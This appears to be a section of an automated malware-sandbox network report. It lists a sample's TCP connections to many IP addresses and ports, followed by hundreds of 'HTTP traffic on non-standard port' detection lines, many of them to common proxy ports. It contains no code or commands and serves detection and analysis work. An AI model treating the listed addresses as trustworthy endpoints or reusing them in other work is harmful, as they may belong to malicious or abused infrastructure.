Source: global traffic	TCP traffic: 72.167.220.46 ports 15077,1,5,7,8,13046,15758
Source: global traffic	TCP traffic: 166.62.53.45 ports 2,51350,5,6,1992,56862,8,60186
Source: global traffic	TCP traffic: 109.238.12.156 ports 46962,17254,29834,1163,61743,27241,2,3,4,26770,22472,8,9,55724
Source: global traffic	TCP traffic: 132.148.245.169 ports 49824,38780,1,3,36149,7,8,38117
Source: global traffic	TCP traffic: 162.210.192.135 ports 1,35129,4,6,60684,8,9,16489
Source: global traffic	TCP traffic: 188.165.252.198 ports 14084,0,1,3469,4,8
Source: global traffic	TCP traffic: 41.65.236.37 ports 1976,1,6,1981,7,9
Source: global traffic	TCP traffic: 67.43.227.228 ports 27917,5495,16147,19331,14299,9039,24971,22035,7071,20779,25329,25527,8063,3017,5,6,30583,7,12487,9,5769,1759
Source: global traffic	TCP traffic: 67.43.227.227 ports 9245,15261,5343,6533,26337,27869,22599,25329,15629,25341,3017,4929,1575,10011,7679,6347,1759,15527,1119,18963,6169,23475,1,2,2355,9,4479,12129
Source: global traffic	TCP traffic: 51.79.87.144 ports 41230,41746,0,30464,3,54395,4,6,18636
Source: global traffic	TCP traffic: 107.148.99.107 ports 58394,3,4,5,8,9
Source: global traffic	TCP traffic: 67.43.228.254 ports 1,2,3,32221,11947,1487
Source: global traffic	TCP traffic: 67.43.228.253 ports 8531,13083,18287,2011,7491,22105,30783,1,14869,3,4,24571,1487,26597,14313,4885,12711,29051
Source: global traffic	TCP traffic: 67.43.228.250 ports 18345,18681,24009,1,2017,32441,6,8,14215
Source: global traffic	TCP traffic: 164.92.237.188 ports 63722,0,2,3,5,6,55588,52306
Source: global traffic	TCP traffic: 107.180.101.226 ports 0,1,5,23031,59810,55873,8,9,51526
Source: global traffic	TCP traffic: 198.12.253.117 ports 13270,4971,60406,0,30794,27055,4,6,32229
Source: global traffic	TCP traffic: 103.162.31.91 ports 2,3,41809,8,9,33829
Source: global traffic	TCP traffic: 117.160.250.163 ports 8080,8081,9990,0,1,8,80,81,9999,82,8828
Source: global traffic	TCP traffic: 51.75.126.150 ports 22935,36694,64615,2,3,5,9,41271
Source: global traffic	TCP traffic: 162.215.223.76 ports 62691,62197,1,2,6,9,54623
Source: global traffic	TCP traffic: 162.243.55.12 ports 59179,1,5,7,9,50941
Source: global traffic	TCP traffic: 186.215.87.194 ports 6001,6000,8892,6025,6014,6002,6027,0,2,30003,5,6
Source: global traffic	TCP traffic: 132.148.129.254 ports 41026,45366,18361,63418,3,4,5,6,60781
Source: global traffic	TCP traffic: 188.164.196.30 ports 49426,62564,2,51284,4,6,51211,52359,9
Source: global traffic	TCP traffic: 188.164.196.31 ports 62105,0,1,2,5,6
Source: global traffic	TCP traffic: 67.43.236.18 ports 5089,26755,22645,0,5,8,9
Source: global traffic	TCP traffic: 67.43.236.19 ports 5385,3,5,8,32407,10587
Source: global traffic	TCP traffic: 67.43.236.20 ports 9321,8353,21167,14033,7621,18171,8171,21109,23985,6095,28099,22093,9919,2941,3817,27003,27565,23241,10739,5039,7815,32703,5737,15427,21039,19059,6441,27415,20627,27577,0,25053,1885,33167,5,6,3201,4873,9,10981,14647,7969,26083,14745,10005
Source: global traffic	TCP traffic: 8.213.137.155 ports 8034,8037,3,4,543,9090,5,8888
Source: global traffic	TCP traffic: 164.92.85.180 ports 23971,1,2,3,7,37587,9,36655
Source: global traffic	TCP traffic: 185.23.118.103 ports 60429,0,54244,2,4,6,9
Source: global traffic	TCP traffic: 72.10.164.178 ports 2191,25905,4893,17001,27645,1139,15827,31075,1179,10175,13201,30227,21633,3373,24303,0,32115,1,2,3,23491,23571,7129,18627,30419,31623,6331,7345,26533,28435,3021,32861,3217,25085,14917,2929,13465,20191,8509,8601,29217,18085,32093,21415,10801,26143,12707,8635,10441,30557
Source: global traffic	TCP traffic: 171.244.140.160 ports 23867,42456,36670,44233,42968,56076,36273,2,60249,3,6,53882,7,37400,30526,9537,53749,17525
Source: global traffic	TCP traffic: 167.86.69.142 ports 47537,46411,49369,35196,46859,4,5,6,8,9,32947
Source: global traffic	TCP traffic: 193.41.88.58 ports 53281,1,2,3,5,8
Source: global traffic	TCP traffic: 162.0.220.222 ports 8776,64731,11919,53242,1,3,4,6,7
Source: global traffic	TCP traffic: 91.134.140.160 ports 20896,16487,48962,49687,57320,27207,9141,0,32896,32588,2,11946,6,8,8879,9
Source: global traffic	TCP traffic: 185.129.250.183 ports 14462,32284,26777,2,6,7
Source: global traffic	TCP traffic: 160.153.245.187 ports 5784,42879,2287,3,4,5,6,5436
Source: global traffic	TCP traffic: 104.248.151.220 ports 60915,63648,0,1,53177,51040,4,5,59755
Source: global traffic	TCP traffic: 209.216.90.208 ports 37683,20308,31470,1,2,12922,9,13203,52401
Source: global traffic	TCP traffic: 208.87.131.151 ports 9862,26939,20971,64693,4682,49314,44288,25369,20754,1,3,4,57951,51016,9,37977
Source: global traffic	TCP traffic: 208.109.13.93 ports 27877,5190,22401,0,1,5,9,34308
Source: global traffic	TCP traffic: 201.76.125.147 ports 0,1,2,3,8,20183
Source: global traffic	TCP traffic: 41.65.55.2 ports 1976,1,6,1981,7,9
Source: global traffic	TCP traffic: 8.213.128.90 ports 8089,20002,8001,5001,3,443,4,444,8090
Source: global traffic	TCP traffic: 23.95.216.90 ports 15673,1,3,5,6,7

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 6047
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 5436
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 58394
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 10417
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 3601
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 11673
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 5678
Source: unknown	Network traffic detected: HTTP traffic on port 10417 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 6120
Source: unknown	Network traffic detected: HTTP traffic on port 6047 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 6764
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 32770
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 12519
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 5436
Source: unknown	Network traffic detected: HTTP traffic on port 49959 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 51778
Source: unknown	Network traffic detected: HTTP traffic on port 1080 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 10471
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 8899
Source: unknown	Network traffic detected: HTTP traffic on port 6764 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 60186
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 58394
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 3820
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 11673
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50030 -> 59058
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 25508
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 543
Source: unknown	Network traffic detected: HTTP traffic on port 50075 -> 20481
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 8083
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 31602
Source: unknown	Network traffic detected: HTTP traffic on port 50101 -> 6005
Source: unknown	Network traffic detected: HTTP traffic on port 50134 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50123 -> 64693
Source: unknown	Network traffic detected: HTTP traffic on port 50175 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 50115 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 50213 -> 11946
Source: unknown	Network traffic detected: HTTP traffic on port 50124 -> 9229
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 8082
Source: unknown	Network traffic detected: HTTP traffic on port 50200 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50164 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 7302
Source: unknown	Network traffic detected: HTTP traffic on port 50160 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50190 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 51778
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 50249 -> 30464
Source: unknown	Network traffic detected: HTTP traffic on port 50287 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 50126 -> 33829
Source: unknown	Network traffic detected: HTTP traffic on port 50131 -> 62842
Source: unknown	Network traffic detected: HTTP traffic on port 31602 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 50202 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 5436
Source: unknown	Network traffic detected: HTTP traffic on port 50291 -> 10958
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50286 -> 6745
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 60186
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50134
Source: unknown	Network traffic detected: HTTP traffic on port 50211 -> 8989
Source: unknown	Network traffic detected: HTTP traffic on port 50325 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50214 -> 65201
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50164
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 11673
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50160
Source: unknown	Network traffic detected: HTTP traffic on port 50236 -> 8123
Source: unknown	Network traffic detected: HTTP traffic on port 50333 -> 20481
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 25508
Source: unknown	Network traffic detected: HTTP traffic on port 50247 -> 3129
Source: unknown	Network traffic detected: HTTP traffic on port 50362 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50341 -> 30000
Source: unknown	Network traffic detected: HTTP traffic on port 50347 -> 39796
Source: unknown	Network traffic detected: HTTP traffic on port 50176 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 12259
Source: unknown	Network traffic detected: HTTP traffic on port 50266 -> 10471
Source: unknown	Network traffic detected: HTTP traffic on port 50364 -> 6005
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 8181
Source: unknown	Network traffic detected: HTTP traffic on port 50371 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50309 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 50263 -> 55606
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50410 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50274 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50432 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 50409 -> 6788
Source: unknown	Network traffic detected: HTTP traffic on port 50401 -> 6438
Source: unknown	Network traffic detected: HTTP traffic on port 50435 -> 49397
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 32770 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 8082 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 50440 -> 26589
Source: unknown	Network traffic detected: HTTP traffic on port 50430 -> 8123
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50164
Source: unknown	Network traffic detected: HTTP traffic on port 50436 -> 26939
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50325
Source: unknown	Network traffic detected: HTTP traffic on port 6745 -> 50286
Source: unknown	Network traffic detected: HTTP traffic on port 50455 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 46859
Source: unknown	Network traffic detected: HTTP traffic on port 50115 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 5678
Source: unknown	Network traffic detected: HTTP traffic on port 8989 -> 50211
Source: unknown	Network traffic detected: HTTP traffic on port 50190 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50124 -> 9229
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 51778
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50471 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 37379
Source: unknown	Network traffic detected: HTTP traffic on port 9002 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 8123 -> 50430
Source: unknown	Network traffic detected: HTTP traffic on port 50512 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50424 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 58394
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 19050
Source: unknown	Network traffic detected: HTTP traffic on port 50446 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 5784
Source: unknown	Network traffic detected: HTTP traffic on port 8123 -> 50236
Source: unknown	Network traffic detected: HTTP traffic on port 50513 -> 20481
Source: unknown	Network traffic detected: HTTP traffic on port 50500 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 60186
Source: unknown	Network traffic detected: HTTP traffic on port 50510 -> 32284
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 8899
Source: unknown	Network traffic detected: HTTP traffic on port 50435 -> 49397
Source: unknown	Network traffic detected: HTTP traffic on port 50362 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 25508
Source: unknown	Network traffic detected: HTTP traffic on port 6788 -> 50409
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50500
Source: unknown	Network traffic detected: HTTP traffic on port 50131 -> 62842
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 50514 -> 6005
Source: unknown	Network traffic detected: HTTP traffic on port 50475 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50336 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 50488 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 49314
Source: unknown	Network traffic detected: HTTP traffic on port 50535 -> 26589
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 18072
Source: unknown	Network traffic detected: HTTP traffic on port 50309 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 50263 -> 55606
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 30001
Source: unknown	Network traffic detected: HTTP traffic on port 50284 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 5678
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 10820
Source: unknown	Network traffic detected: HTTP traffic on port 50120 -> 51350
Source: unknown	Network traffic detected: HTTP traffic on port 50136 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 35010
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50155 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 50540 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 50174 -> 15460
Source: unknown	Network traffic detected: HTTP traffic on port 50223 -> 56755
Source: unknown	Network traffic detected: HTTP traffic on port 50541 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50510 -> 32284
Source: unknown	Network traffic detected: HTTP traffic on port 50542 -> 5678
Source: unknown	Network traffic detected: HTTP traffic on port 50435 -> 49397
Source: unknown	Network traffic detected: HTTP traffic on port 50537 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50261 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50267 -> 32148
Source: unknown	Network traffic detected: HTTP traffic on port 8899 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 50259 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50176 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 50240 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50115 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50124 -> 9229
Source: unknown	Network traffic detected: HTTP traffic on port 50545 -> 20481
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 5436
Source: unknown	Network traffic detected: HTTP traffic on port 50328 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50500
Source: unknown	Network traffic detected: HTTP traffic on port 50362 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50515 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50549 -> 26589
Source: unknown	Network traffic detected: HTTP traffic on port 50320 -> 2419
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50202
Source: unknown	Network traffic detected: HTTP traffic on port 50550 -> 6005
Source: unknown	Network traffic detected: HTTP traffic on port 50538 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50546 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 50520 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50403 -> 11176
Source: unknown	Network traffic detected: HTTP traffic on port 50543 -> 10471
Source: unknown	Network traffic detected: HTTP traffic on port 50559 -> 6984
Source: unknown	Network traffic detected: HTTP traffic on port 50561 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50411 -> 35860
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50240
Source: unknown	Network traffic detected: HTTP traffic on port 50566 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50548 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50547 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 9002 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 50450 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 9002 -> 50336
Source: unknown	Network traffic detected: HTTP traffic on port 9002 -> 50176
Source: unknown	Network traffic detected: HTTP traffic on port 50510 -> 32284
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 60186
Source: unknown	Network traffic detected: HTTP traffic on port 50561 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50559 -> 6984
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 50309 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 50131 -> 62842
Source: unknown	Network traffic detected: HTTP traffic on port 50435 -> 49397
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 50263 -> 55606
Source: unknown	Network traffic detected: HTTP traffic on port 543 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 58394
Source: unknown	Network traffic detected: HTTP traffic on port 50362 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50559 -> 6984
Source: unknown	Network traffic detected: HTTP traffic on port 50124 -> 9229
Source: unknown	Network traffic detected: HTTP traffic on port 50115 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50510 -> 32284
Source: unknown	Network traffic detected: HTTP traffic on port 50574 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50469 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50571 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50583 -> 34090
Source: unknown	Network traffic detected: HTTP traffic on port 50395 -> 39873
Source: unknown	Network traffic detected: HTTP traffic on port 50585 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50486 -> 60870
Source: unknown	Network traffic detected: HTTP traffic on port 50496 -> 50578
Source: unknown	Network traffic detected: HTTP traffic on port 50586 -> 26589
Source: unknown	Network traffic detected: HTTP traffic on port 50499 -> 10919
Source: unknown	Network traffic detected: HTTP traffic on port 50568 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50490 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 50526 -> 37901
Source: unknown	Network traffic detected: HTTP traffic on port 50517 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50454 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 50487 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50220 -> 48359
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 3663
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 3312
Source: unknown	Network traffic detected: HTTP traffic on port 50544 -> 15311
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50557 -> 64608
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 62691
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 42823
Source: unknown	Network traffic detected: HTTP traffic on port 50298 -> 5678
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 999
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 9090
Source: unknown	Network traffic detected: HTTP traffic on port 50563 -> 35010
Source: unknown	Network traffic detected: HTTP traffic on port 50584 -> 35087
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 9603
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 56862
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 51025
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 53672
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50371
Source: unknown	Network traffic detected: HTTP traffic on port 49960 -> 56238
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50562 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 53281
Source: unknown	Network traffic detected: HTTP traffic on port 50204 -> 36477
Source: unknown	Network traffic detected: HTTP traffic on port 50590 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 9090 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 50593 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 36946
Source: unknown	Network traffic detected: HTTP traffic on port 50119 -> 64305
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 8100
Source: unknown	Network traffic detected: HTTP traffic on port 50600 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50594 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 50332 -> 59810
Source: unknown	Network traffic detected: HTTP traffic on port 50598 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50597 -> 10471
Source: unknown	Network traffic detected: HTTP traffic on port 50605 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50599 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50607 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50608 -> 10919
Source: unknown	Network traffic detected: HTTP traffic on port 50612 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50613 -> 15311
Source: unknown	Network traffic detected: HTTP traffic on port 50611 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 5436
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 12259
Source: unknown	Network traffic detected: HTTP traffic on port 50559 -> 6984
Source: unknown	Network traffic detected: HTTP traffic on port 50615 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50636 -> 9898
Source: unknown	Network traffic detected: HTTP traffic on port 50317 -> 8089
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 46859
Source: unknown	Network traffic detected: HTTP traffic on port 50435 -> 49397
Source: unknown	Network traffic detected: HTTP traffic on port 50309 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 50638 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50641 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50650 -> 14287
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 50434 -> 26789
Source: unknown	Network traffic detected: HTTP traffic on port 50626 -> 543
Source: unknown	Network traffic detected: HTTP traffic on port 50620 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50623 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 50667 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50670 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50671 -> 10919
Source: unknown	Network traffic detected: HTTP traffic on port 50673 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50457 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50682 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 37379
Source: unknown	Network traffic detected: HTTP traffic on port 50686 -> 15311
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 5784
Source: unknown	Network traffic detected: HTTP traffic on port 50690 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50694 -> 56225
Source: unknown	Network traffic detected: HTTP traffic on port 50183 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 50485 -> 8085
Source: unknown	Network traffic detected: HTTP traffic on port 50696 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50704 -> 9733
Source: unknown	Network traffic detected: HTTP traffic on port 50711 -> 42042
Source: unknown	Network traffic detected: HTTP traffic on port 50720 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50775 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50592 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50767 -> 64556
Source: unknown	Network traffic detected: HTTP traffic on port 50781 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50798 -> 25295
Source: unknown	Network traffic detected: HTTP traffic on port 50817 -> 49687
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 18072
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 49314
Source: unknown	Network traffic detected: HTTP traffic on port 50838 -> 44499
Source: unknown	Network traffic detected: HTTP traffic on port 50131 -> 62842
Source: unknown	Network traffic detected: HTTP traffic on port 50723 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50696
Source: unknown	Network traffic detected: HTTP traffic on port 50709 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 8000 -> 50623
Source: unknown	Network traffic detected: HTTP traffic on port 50842 -> 10919
Source: unknown	Network traffic detected: HTTP traffic on port 50857 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 50725 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50865 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50868 -> 15311
Source: unknown	Network traffic detected: HTTP traffic on port 50882 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50781
Source: unknown	Network traffic detected: HTTP traffic on port 8000 -> 50183
Source: unknown	Network traffic detected: HTTP traffic on port 50174 -> 15460
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50776 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50871 -> 17179
Source: unknown	Network traffic detected: HTTP traffic on port 50155 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 50261 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50783 -> 28134
Source: unknown	Network traffic detected: HTTP traffic on port 50932 -> 8585
Source: unknown	Network traffic detected: HTTP traffic on port 50906 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 50934 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50267 -> 32148
Source: unknown	Network traffic detected: HTTP traffic on port 50694 -> 56225
Source: unknown	Network traffic detected: HTTP traffic on port 50965 -> 32520
Source: unknown	Network traffic detected: HTTP traffic on port 50879 -> 9091
Source: unknown	Network traffic detected: HTTP traffic on port 50737 -> 8899
Source: unknown	Network traffic detected: HTTP traffic on port 50595 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50898 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 50626 -> 543
Source: unknown	Network traffic detected: HTTP traffic on port 50704 -> 9733
Source: unknown	Network traffic detected: HTTP traffic on port 50320 -> 2419
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 50919 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51009 -> 34409
Source: unknown	Network traffic detected: HTTP traffic on port 8585 -> 50932
Source: unknown	Network traffic detected: HTTP traffic on port 51015 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51012 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51040 -> 53397
Source: unknown	Network traffic detected: HTTP traffic on port 51054 -> 4145
